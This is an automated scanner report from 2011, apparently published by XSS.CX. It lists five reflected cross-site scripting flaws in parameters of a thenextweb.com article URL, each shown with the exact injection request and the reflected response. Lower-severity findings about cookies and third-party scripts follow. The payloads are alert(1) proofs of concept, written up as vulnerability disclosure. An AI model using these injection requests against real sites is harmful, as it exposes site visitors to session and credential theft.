XSS, DORK, thenextweb.com, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Tue Apr 19 15:24:02 CDT 2011.


XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog

Loading

1. Cross-site scripting (reflected)

1.1. http://thenextweb.com/industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/ [awesm parameter]

1.2. http://thenextweb.com/industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/ [name of an arbitrarily supplied request parameter]

1.3. http://thenextweb.com/industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/ [utm_content parameter]

1.4. http://thenextweb.com/industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/ [utm_medium parameter]

1.5. http://thenextweb.com/industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/ [utm_source parameter]

2. Cookie without HttpOnly flag set

3. Cross-domain Referer leakage

4. Cross-domain script include

5. Email addresses disclosed

6. Private IP addresses disclosed



1. Cross-site scripting (reflected)  next
There are 5 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://thenextweb.com/industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/ [awesm parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://thenextweb.com
Path:   /industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/

Issue detail

The value of the awesm request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 82105</script><script>alert(1)</script>ebaf4f8c75 was submitted in the awesm parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/?awesm=tnw.to_17gUX82105</script><script>alert(1)</script>ebaf4f8c75&utm_content=twitter-publisher-main&utm_medium=tnw.to-twitter&utm_source=direct-tnw.to HTTP/1.1
Host: thenextweb.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
x-backend: 172.20.0.144
Set-Cookie: PHPSESSID=c58okdiednff7kv9uev8soqi94; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ocmx_mobile=deleted; expires=Mon, 19-Apr-2010 19:48:25 GMT; path=/
Set-Cookie: ocmx_mobile=normal; path=/
X-Pingback: http://thenextweb.com/industry/xmlrpc.php
Set-Cookie: bp-message=deleted; expires=Mon, 19-Apr-2010 19:48:25 GMT; path=/
Set-Cookie: bp-message-type=deleted; expires=Mon, 19-Apr-2010 19:48:25 GMT; path=/
Link: <http://thenextweb.com/industry/?p=4378>; rel=shortlink
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 82244
Date: Tue, 19 Apr 2011 19:51:47 GMT
Age: 0
Connection: close
X-Cache: MISS

<!DOCTYPE html>
<html dir="ltr" lang="en-US" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<title> Beyond analytics, VigLink automates affiliate links to pay p
...[SNIP]...
eme_url': 'http://thenextweb.com/industry/wp-content/themes/tnw_4',
'current_url': '/industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/?awesm=tnw.to_17gUX82105</script><script>alert(1)</script>ebaf4f8c75&utm_content=twitter-publisher-main&utm_medium=tnw.to-twitter&utm_source=direct-tnw.to'
};
</script>
...[SNIP]...

1.2. http://thenextweb.com/industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://thenextweb.com
Path:   /industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5d8bd</script><script>alert(1)</script>73986555b6d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/?5d8bd</script><script>alert(1)</script>73986555b6d=1 HTTP/1.1
Host: thenextweb.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
x-backend: 172.20.0.144
Set-Cookie: PHPSESSID=ej3jtbaapag6sv6oln1b9fcd96; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ocmx_mobile=deleted; expires=Mon, 19-Apr-2010 19:48:16 GMT; path=/
Set-Cookie: ocmx_mobile=normal; path=/
X-Pingback: http://thenextweb.com/industry/xmlrpc.php
Set-Cookie: bp-message=deleted; expires=Mon, 19-Apr-2010 19:48:16 GMT; path=/
Set-Cookie: bp-message-type=deleted; expires=Mon, 19-Apr-2010 19:48:16 GMT; path=/
Link: <http://thenextweb.com/industry/?p=4378>; rel=shortlink
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 82030
Date: Tue, 19 Apr 2011 19:51:38 GMT
Age: 0
Connection: close
X-Cache: MISS

<!DOCTYPE html>
<html dir="ltr" lang="en-US" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<title> Beyond analytics, VigLink automates affiliate links to pay p
...[SNIP]...
stry',
'theme_url': 'http://thenextweb.com/industry/wp-content/themes/tnw_4',
'current_url': '/industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/?5d8bd</script><script>alert(1)</script>73986555b6d=1'
};
</script>
...[SNIP]...

1.3. http://thenextweb.com/industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/ [utm_content parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://thenextweb.com
Path:   /industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/

Issue detail

The value of the utm_content request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e9bcc</script><script>alert(1)</script>f5ad851bd4d was submitted in the utm_content parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/?awesm=tnw.to_17gUX&utm_content=twitter-publisher-maine9bcc</script><script>alert(1)</script>f5ad851bd4d&utm_medium=tnw.to-twitter&utm_source=direct-tnw.to HTTP/1.1
Host: thenextweb.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
x-backend: 172.20.0.144
Set-Cookie: PHPSESSID=2shuvoef74afqc8k3ecf4kfq14; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ocmx_mobile=deleted; expires=Mon, 19-Apr-2010 19:48:48 GMT; path=/
Set-Cookie: ocmx_mobile=normal; path=/
X-Pingback: http://thenextweb.com/industry/xmlrpc.php
Set-Cookie: bp-message=deleted; expires=Mon, 19-Apr-2010 19:48:48 GMT; path=/
Set-Cookie: bp-message-type=deleted; expires=Mon, 19-Apr-2010 19:48:48 GMT; path=/
Link: <http://thenextweb.com/industry/?p=4378>; rel=shortlink
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 82211
Date: Tue, 19 Apr 2011 19:52:11 GMT
Age: 0
Connection: close
X-Cache: MISS

<!DOCTYPE html>
<html dir="ltr" lang="en-US" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<title> Beyond analytics, VigLink automates affiliate links to pay p
...[SNIP]...
dustry/wp-content/themes/tnw_4',
'current_url': '/industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/?awesm=tnw.to_17gUX&utm_content=twitter-publisher-maine9bcc</script><script>alert(1)</script>f5ad851bd4d&utm_medium=tnw.to-twitter&utm_source=direct-tnw.to'
};
</script>
...[SNIP]...

1.4. http://thenextweb.com/industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/ [utm_medium parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://thenextweb.com
Path:   /industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/

Issue detail

The value of the utm_medium request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8d1ad</script><script>alert(1)</script>24749fe4f25 was submitted in the utm_medium parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/?awesm=tnw.to_17gUX&utm_content=twitter-publisher-main&utm_medium=tnw.to-twitter8d1ad</script><script>alert(1)</script>24749fe4f25&utm_source=direct-tnw.to HTTP/1.1
Host: thenextweb.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
x-backend: 172.20.0.144
Set-Cookie: PHPSESSID=3voqo3o46tv6l2mb54bvds3cu5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ocmx_mobile=deleted; expires=Mon, 19-Apr-2010 19:49:05 GMT; path=/
Set-Cookie: ocmx_mobile=normal; path=/
X-Pingback: http://thenextweb.com/industry/xmlrpc.php
Set-Cookie: bp-message=deleted; expires=Mon, 19-Apr-2010 19:49:05 GMT; path=/
Set-Cookie: bp-message-type=deleted; expires=Mon, 19-Apr-2010 19:49:05 GMT; path=/
Link: <http://thenextweb.com/industry/?p=4378>; rel=shortlink
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 82211
Date: Tue, 19 Apr 2011 19:52:28 GMT
Age: 0
Connection: close
X-Cache: MISS

<!DOCTYPE html>
<html dir="ltr" lang="en-US" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<title> Beyond analytics, VigLink automates affiliate links to pay p
...[SNIP]...
nw_4',
'current_url': '/industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/?awesm=tnw.to_17gUX&utm_content=twitter-publisher-main&utm_medium=tnw.to-twitter8d1ad</script><script>alert(1)</script>24749fe4f25&utm_source=direct-tnw.to'
};
</script>
...[SNIP]...

1.5. http://thenextweb.com/industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/ [utm_source parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://thenextweb.com
Path:   /industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/

Issue detail

The value of the utm_source request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5a19e</script><script>alert(1)</script>fa26e178082 was submitted in the utm_source parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/?awesm=tnw.to_17gUX&utm_content=twitter-publisher-main&utm_medium=tnw.to-twitter&utm_source=direct-tnw.to5a19e</script><script>alert(1)</script>fa26e178082 HTTP/1.1
Host: thenextweb.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
x-backend: 172.20.0.144
Set-Cookie: PHPSESSID=iovjlagptga9dlhualmg2cjsa6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ocmx_mobile=deleted; expires=Mon, 19-Apr-2010 19:49:16 GMT; path=/
Set-Cookie: ocmx_mobile=normal; path=/
X-Pingback: http://thenextweb.com/industry/xmlrpc.php
Set-Cookie: bp-message=deleted; expires=Mon, 19-Apr-2010 19:49:16 GMT; path=/
Set-Cookie: bp-message-type=deleted; expires=Mon, 19-Apr-2010 19:49:16 GMT; path=/
Link: <http://thenextweb.com/industry/?p=4378>; rel=shortlink
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 82211
Date: Tue, 19 Apr 2011 19:52:38 GMT
Age: 0
Connection: close
X-Cache: MISS

<!DOCTYPE html>
<html dir="ltr" lang="en-US" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<title> Beyond analytics, VigLink automates affiliate links to pay p
...[SNIP]...
rl': '/industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/?awesm=tnw.to_17gUX&utm_content=twitter-publisher-main&utm_medium=tnw.to-twitter&utm_source=direct-tnw.to5a19e</script><script>alert(1)</script>fa26e178082'
};
</script>
...[SNIP]...

2. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://thenextweb.com
Path:   /industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/ HTTP/1.1
Host: thenextweb.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
x-backend: 172.20.0.144
Set-Cookie: PHPSESSID=587brj7p9ddu2d89pcmgpf4o76; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ocmx_mobile=deleted; expires=Mon, 19-Apr-2010 19:42:13 GMT; path=/
Set-Cookie: ocmx_mobile=normal; path=/
X-Pingback: http://thenextweb.com/industry/xmlrpc.php
Set-Cookie: bp-message=deleted; expires=Mon, 19-Apr-2010 19:42:13 GMT; path=/
Set-Cookie: bp-message-type=deleted; expires=Mon, 19-Apr-2010 19:42:13 GMT; path=/
Link: <http://thenextweb.com/industry/?p=4378>; rel=shortlink
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 81839
Date: Tue, 19 Apr 2011 19:51:11 GMT
Age: 336
Connection: close
X-Cache: HIT

<!DOCTYPE html>
<html dir="ltr" lang="en-US" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<title> Beyond analytics, VigLink automates affiliate links to pay p
...[SNIP]...

3. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://thenextweb.com
Path:   /industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/?awesm=tnw.to_17gUX&utm_content=twitter-publisher-main&utm_medium=tnw.to-twitter&utm_source=direct-tnw.to HTTP/1.1
Host: thenextweb.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
x-backend: 127.0.0.1
Set-Cookie: PHPSESSID=qpfkj8khb16mobu8shp3finge0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ocmx_mobile=deleted; expires=Mon, 19-Apr-2010 19:45:35 GMT; path=/
Set-Cookie: ocmx_mobile=normal; path=/
X-Pingback: http://thenextweb.com/industry/xmlrpc.php
Set-Cookie: bp-message=deleted; expires=Mon, 19-Apr-2010 19:45:35 GMT; path=/
Set-Cookie: bp-message-type=deleted; expires=Mon, 19-Apr-2010 19:45:35 GMT; path=/
Link: <http://thenextweb.com/industry/?p=4378>; rel=shortlink
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 82065
Date: Tue, 19 Apr 2011 19:51:11 GMT
Age: 335
Connection: close
X-Cache: HIT

<!DOCTYPE html>
<html dir="ltr" lang="en-US" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<title> Beyond analytics, VigLink automates affiliate links to pay p
...[SNIP]...
</script>


<link rel="alternate" type="application/rss+xml" title="TNW Network All Stories RSS Feed" href="http://feeds2.feedburner.com/thenextweb" />
<link rel="alternate" type="application/rss+xml" title="TNW Network Top Stories RSS Feed" href="http://feeds2.feedburner.com/thenextwebtopstories" />
<link rel="alternate" type="application/rss+xml" title="TNW Industry RSS Feed" href="http://feeds2.feedburner.com/thenextweb"/>

<link rel="shortcut icon" href="http://thenextweb.com/industry/wp-content/themes/tnw_4/favicon.png"/>
...[SNIP]...
<link rel="apple-touch-startup-image" href="http://thenextweb.com/industry/wp-content/themes/tnw_4/images/apple-startup-screen.png">

<link rel="me" type="text/html" href="http://google.com/profiles/thenextweb"/>
<link rel="pingback" href="http://thenextweb.com/industry/xmlrpc.php" />
...[SNIP]...
<!-- Badgeville -->
<script src="http://api.badgeville.com/v2/badgeville.js?key=dGhlbmV4dHdlYkBiYWRnZXZpbGxlLmNvbQ=="></script>
...[SNIP]...
<div id="fmpub_2621" class="banner-wrapper">
<script type="text/javascript" async="true" src="http://static.fmpub.net/zone/2621" charset="utf-8"></script>
...[SNIP]...
</a>
<script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"></script>
...[SNIP]...
<div>
<iframe allowtransparency="true" frameborder="0" scrolling="no" src="http://platform.twitter.com/widgets/tweet_button.html?url=http%3A%2F%2Fthenextweb.com%2Findustry%2F2011%2F03%2F31%2Fbeyond-analytics-viglink-automates-affiliate-links-to-pay-publishers%2F&count=horizontal&related=thenextweb&via=thenextweb&text=Beyond analytics, VigLink automates affiliate links to pay publishers" style="width:110px; height:20px;"></iframe>
...[SNIP]...
<td rowspan="2"><script src="http://www.stumbleupon.com/hostedbadge.php?s=5&r=http%3A%2F%2Fthenextweb.com%2Findustry%2F2011%2F03%2F31%2Fbeyond-analytics-viglink-automates-affiliate-links-to-pay-publishers%2F"></script>
...[SNIP]...
<td><a href="http://www.delicious.com/save?url=http%3A%2F%2Fthenextweb.com%2Findustry%2F2011%2F03%2F31%2Fbeyond-analytics-viglink-automates-affiliate-links-to-pay-publishers%2F&title=Beyond+analytics%2C+VigLink+automates+affiliate+links+to+pay+publishers" class="icon delicious"></a>
...[SNIP]...
<td><a href="http://www.delicious.com/save?url=http%3A%2F%2Fthenextweb.com%2Findustry%2F2011%2F03%2F31%2Fbeyond-analytics-viglink-automates-affiliate-links-to-pay-publishers%2F&title=Beyond+analytics%2C+VigLink+automates+affiliate+links+to+pay+publishers&description=VigLink%2C+a+San+Francisco+based+company+launched+in+January+2010+with+the+idea+that+%E2%80%9Coutclicks%2C%E2%80%9D+the+clicks+leaving+your+site%2C+have+value.+VigLink+goes+beyond+analytics+and+tells+publishers+where+those+clicks+went%2C+measures+how+much+value+they+drove+downstream+and+claims+a+commission+without+creating+any+additional+work+for+the+publisher.+For+example%2C+whenever+%5B...%5D" class="icon instapaper"></a>
...[SNIP]...
<td><a href="http://www.linkedin.com/shareArticle?mini=true&url=http%3A%2F%2Fthenextweb.com%2Findustry%2F2011%2F03%2F31%2Fbeyond-analytics-viglink-automates-affiliate-links-to-pay-publishers%2F&title=Beyond+analytics%2C+VigLink+automates+affiliate+links+to+pay+publishers&summary=VigLink%2C+a+San+Francisco+based+company+launched+in+January+2010+with+the+idea+that+%E2%80%9Coutclicks%2C%E2%80%9D+the+clicks+leaving+your+site%2C+have+value.+VigLink+goes+beyond+analytics+and+tells+publishers+where+those+clicks+went%2C+measures+how+much+value+they+drove+downstream+and+claims+a+commission+without+creating+any+additional+work+for+the+publisher.+For+example%2C+whenever+%5B...%5D" onclick="window.open(this.href, 'linkedin', 'width=520,height=570'); return false;" class="icon linkedin"></a>
...[SNIP]...
<td><a href="https://readitlaterlist.com/save?url=http%3A%2F%2Fthenextweb.com%2Findustry%2F2011%2F03%2F31%2Fbeyond-analytics-viglink-automates-affiliate-links-to-pay-publishers%2F&title=Beyond+analytics%2C+VigLink+automates+affiliate+links+to+pay+publishers" class="icon readitlater"></a>
...[SNIP]...
<td><a href="http://www.reddit.com/submit?url=http%3A%2F%2Fthenextweb.com%2Findustry%2F2011%2F03%2F31%2Fbeyond-analytics-viglink-automates-affiliate-links-to-pay-publishers%2F" class="icon reddit"></a>
...[SNIP]...
<p><a target="_blank" href="http://www.viglink.com" class="zem_slink" title="VigLink" rel="homepage" >VigLink</a>
...[SNIP]...
</strong>Like Google <a target="_blank" href="http://www.google.com/adsense" class="zem_slink" title="AdSense" rel="homepage" >AdSense</a>
...[SNIP]...
<p>VigLink recently closed a $5.4 million Series B financing round led by Emergence Capital, raising its total investments to $7.3 million to date including existing investors Google Ventures and <a target="_blank" href="http://www.firstround.com/" class="zem_slink" title="First Round Capital" rel="homepage" >First Round Capital</a>
...[SNIP]...
</div>

<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fthenextweb.com%2Findustry%2F2011%2F03%2F31%2Fbeyond-analytics-viglink-automates-affiliate-links-to-pay-publishers%2F&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=recommend&amp;colorscheme=light&amp;height=35" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:520px; height:35px;" allowTransparency="true"></iframe>
...[SNIP]...
</a> on: <a class="icon facebook" href="http://www.facebook.com/thenextweb">facebook</a> <a class="icon twitter aptureNoEnhance" href="http://twitter.com/thenextweb">twitter</a> <a class="icon rss" href="http://feeds2.feedburner.com/thenextweb">rss</a>
...[SNIP]...
<p>Courtney Boyd Myers is the East Coast editor of TNW, based in Brooklyn, NYC.

She began her career writing about robots. She loves magnets + reading on a Kindle.

You can follow her on <a href="http://twitter.com/#!/CBM">Twitter @CBM</a>
...[SNIP]...
</script>
<script type='text/javascript' src='http://kona.kontera.com/javascript/lib/KonaLibInline.js'></script>
...[SNIP]...
<td>
<a class="icon rss" href="http://feeds2.feedburner.com/thenextweb">
<h4>
...[SNIP]...
</h3>


<script type="text/javascript" src="http://static.fmpub.net/zone/2620"></script>
...[SNIP]...
</div>
<a class="advertise_here" href="http://buysellads.com/buy/detail/10395" target="_top"></a>
...[SNIP]...
</script>
<script type='text/javascript'
src='http://pagead2.googlesyndication.com/pagead/show_ads.js'>

</script>
...[SNIP]...
</script>
<script type='text/javascript'
src='http://pagead2.googlesyndication.com/pagead/show_ads.js'>

</script>
...[SNIP]...
<p>
<a id="partner-dyn" href="http://dyn.com/" rel="external">DYN</a>
<a id="partner-easytobook" href="http://easytobook.com/" rel="external">EasyToBook.com</a>
...[SNIP]...
<noscript><a href='http://www.wibiya.com/'>Web Toolbar by Wibiya</a>
...[SNIP]...
</div><script src="http://connect.facebook.net/en_US/all.js"></script>
...[SNIP]...
</script>
<script src="http://static.getclicky.com/js" type="text/javascript"></script>
...[SNIP]...
<p><img alt="Clicky" width="1" height="1" src="http://in.getclicky.com/189711ns.gif" /></p>
...[SNIP]...
<p><img alt="Clicky" width="1" height="1" src="http://in.getclicky.com/147320ns.gif" /></p>
...[SNIP]...
<!-- FM Tracking Pixel -->
<script type="text/javascript" src="http://static.fmpub.net/site/thenextweb"></script>
...[SNIP]...
<!-- Skimlinks code -->
<script type="text/javascript" src="http://s.skimresources.com/js/7230X662326.skimlinks.js"></script>
...[SNIP]...

4. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://thenextweb.com
Path:   /industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/ HTTP/1.1
Host: thenextweb.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
x-backend: 172.20.0.144
Set-Cookie: PHPSESSID=587brj7p9ddu2d89pcmgpf4o76; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ocmx_mobile=deleted; expires=Mon, 19-Apr-2010 19:42:13 GMT; path=/
Set-Cookie: ocmx_mobile=normal; path=/
X-Pingback: http://thenextweb.com/industry/xmlrpc.php
Set-Cookie: bp-message=deleted; expires=Mon, 19-Apr-2010 19:42:13 GMT; path=/
Set-Cookie: bp-message-type=deleted; expires=Mon, 19-Apr-2010 19:42:13 GMT; path=/
